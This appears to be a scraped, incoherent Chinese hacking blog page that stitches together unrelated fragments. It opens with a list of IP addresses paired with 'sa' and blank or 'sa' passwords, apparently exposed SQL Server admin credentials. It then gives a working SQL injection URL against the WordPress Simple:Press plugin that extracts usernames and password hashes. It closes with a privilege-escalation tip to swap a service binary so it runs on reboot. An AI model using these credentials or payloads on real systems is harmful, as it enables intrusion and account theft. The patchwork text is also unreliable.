凌风[0x0F]'s BloG

118.112.141.255 sa ""

118.112.216.169 sa ""

118.112.219.26 sa ""

118.113.219.153 sa ""

118.113.195.180 sa ""

118.113.217.245 sa ""

118.114.85.118 sa sa

WordPress是一款免费的论坛Blog系统。

WordPress所使用的Simple:Press插件没有正确地过滤用户在搜索字段所输入的搜索变量便注入到了SQL查询中使用：

sf-header-forum.php  

代码：略

测试方法： http://127.0.1/wordpress/?page_id=4/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2

Even before the whole Movable Type fallout, I had been trying to decide which of the many weblog CMS packages would be best for my needs. (Choice made!) I got tired of flipping back and forth between each of the sites, especially when not all of the answers to my questions were apparent from simply reading the main web page.

哈哈，推荐网站的

是听说SINK最近在搞手工注入MYSQL，我给他弄点东西，需要的朋友看看吧，老了

理由省略

不解释直接点击下载

转自 ninty's BloG http://x60a6.info/

令人蛋疼的文章,看之前一定要蛋定...

方法提供：miao（北洋贱队）

信息来源：第八个编程www.debugc.com7

有一种提权方式，就是在没什么进展的时候，可以替换掉服务中的某个程序，在服务器重启的时候获得一个权限。)